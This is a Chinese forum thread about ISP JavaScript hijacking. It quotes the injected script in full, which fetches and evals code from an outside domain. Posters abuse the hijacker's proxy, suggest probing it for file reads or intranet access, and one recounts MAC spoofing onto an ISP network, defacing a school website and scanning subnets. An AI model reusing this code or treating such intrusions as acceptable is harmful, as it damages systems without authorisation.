
租住昌平一角的公寓,宽带不知名,10M 要 100RMB 一月。最近发现网络劫持越来越厉害了。
网络抓包发现,包含 jQuery 在内的多个 js 文件被劫持,文件内容被替换为了下面的样子(原地址是 ECharts ):
var sourceScriptURI = 'http://echarts.baidu.com/dist/echarts.min.js'; (function() { var evalGloble = eval; var _loader = function(uri) { if (!top || !this) { return setTimeout(arguments.callee, 50); } if (top != this) { return; } var s = window.top.document.createElement('script'); s.src = uri; s.type = 'text/Javascript'; s.charset = 'utf-8'; s.async = 'true'; window.top.document.body.appendChild(s); }; var evalSrcScript = function(uri) { var url = "http://www.fjlqqc.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri); var xhr = new XMLHttpRequest(); xhr.open('GET', url, false); xhr.setRequestHeader("X-Page-Charset", document.charset); xhr.send(); try { evalGloble(xhr.responseText); } catch(error) {} }; var getCurrentScript = function(sourceScriptURI) { var scripts = document.getElementsByTagName('script'); for (var i = 0; i < scripts.length; ++i) { if (scripts[i].src == sourceScriptURI) return scripts[i]; } }; var _looper, injection; var _loop = function() { switch (document.readyState) { case 'loading': break; case 'interactive': case 'complete': clearInterval(_looper); if (window.__COODAGLIFE__ === undefined) { _loader(injectionScriptURI + trim(publisherID) + "/"); localStorage.COODAG_SERUM_IC = injectionScriptURI; window.__COODAGLIFE__ = true; } break; default: clearInterval(_looper); break; } }; var inject = function() { _looper = setInterval(_loop, 50); }; function trim(s){ return s.replace(/(^\s*)|(\s*$)/g, ""); } var publisherID = '00000000-00000-0000-0000';//已修改 var injectiOnScriptURI= "http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/"; //var currentScript = getCurrentScript(sourceScriptURI); if (true) { evalSrcScript(sourceScriptURI); } inject(); })(); 可以看到,这段代码向页面注入了另一段 js 代码
http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/{publisherID}/ 并通过访问
http://www.fjlqqc.com/common/api/v1.0/src_script/?path={sourceScriptURI} 将原始的 JS 再带入网页。如何反杀?当然是用它的代理咯。于是我写出了下面的代码:
<img src="http://www.fjlqqc.com/common/api/v1.0/src_script/?path=https%3A%2F%2Fwww.coderbusy.com%2Fwp-content%2Fuploads%2F2017%2F10%2F20171010032255_3047.png" /> 经测试,可用,速度还可以。要不要挂一个大大的下载包上去,就看各位的心情了。
1 jackyzy823 2018-01-27 12:56:32 +08:00 via Android 还可以看看能不能本地文件读取,或者内网穿透之类的… |
2 Zzzzzzzzz 2018-01-27 13:01:52 +08:00 |
3 Soar360 OP 你更狠。 |
4 jko123 2018-01-27 13:24:16 +08:00 via Android 666,放福利片然后提供给广大网友下载 |
6 dzxx36gyy 2018-01-27 13:56:23 +08:00 http://speedtest.tele2.net/1000GB.zip 你需要让他缓存这个…… |
9 lmusicwq 2018-01-27 14:36:29 +08:00 10M 100 一个月也太贵了吧 |
11 slwl123 2018-01-27 14:47:34 +08:00 不知道你那里 4G 信号如何 弄个无限流量套餐比较划算 当然不能经常常下载 |
12 zjcqoo 2018-01-27 15:47:29 +08:00 Globle 都拼错了,差评 |
13 zjcqoo 2018-01-27 15:57:37 +08:00 |
15 wangxiaohao 2018-01-27 19:01:23 +08:00 厉害了 666 |
16 Soar360 OP @wangxiaohao 卧槽,大师现身,666。 |
17 aheadlead 2018-01-27 22:40:32 +08:00 这个代理可以拿来上网吧.. |
18 jiqing 2018-01-27 22:59:40 +08:00 这是啥意思 |
19 anheiyouxia 2018-01-28 01:10:10 +08:00 via Android 明天玩玩 |
20 crab 2018-01-28 01:31:55 +08:00 这域名泛解析真厉害!!! |
21 xmoiduts 2018-01-28 09:48:17 +08:00 via Android @zjcqoo 的说法是有道理的,以前观察过某大运营商的 120.52.?.*段缓存,确实是你下了多少他缓存多少,不会多存。 但一开始走代理的水管粗,比自己坐飞机快。过些日子,网速就也不行了。 |
22 Tovcn 2018-01-28 11:00:16 +08:00 漂亮。。。。。 |
23 zjcqoo 2018-01-28 17:20:52 +08:00 之前家里的宽带(杭州网通)也遇到过类似的事。HTTP 页面右下角经常弹广告浮层,而且下载文件经常被重定向到 `http://218.108.x.x/1Q2W3E4R5T6Y7U8I9O0P1Z2X3C4V5B/raw_url`,(网上搜了下遇到过的还不少),估计是为了加速(但实现的也太 low 了,搞个透明代理不就好了)。 想起 218.108.x.x 这个段是可以通过机顶盒的城域网( 10.x.x.x )访问的。 ( BTW:当初挨家挨户送机顶盒的时候,正好在研究网络相关的事。于是把电脑 MAC 改成机顶盒差不多的,就能自动分配到 10.x.x.x 的 IP 端。DNS 是 218.108.x.x 的,可以 ping 出各个域名。正好高中的网站也在 218.108.x.x 段里的,于是用内网 IP 把网站首页黑了,一直没查出来 2333333 ) 于是写了个 nginx 配置,在本机开了个代理,把浏览器访问 HTTP 的流量都通过城域网转发到那台服务器上。毕竟 PPPoE 是限速的,而城域网 100Mbps 几乎管够,下载可以快好多。 后来扫描了下 218.108 的网段,发现开这种代理的服务器还不少,记得好像有几十个。于是正好把 nginx 的负载均衡功能都用上了:) |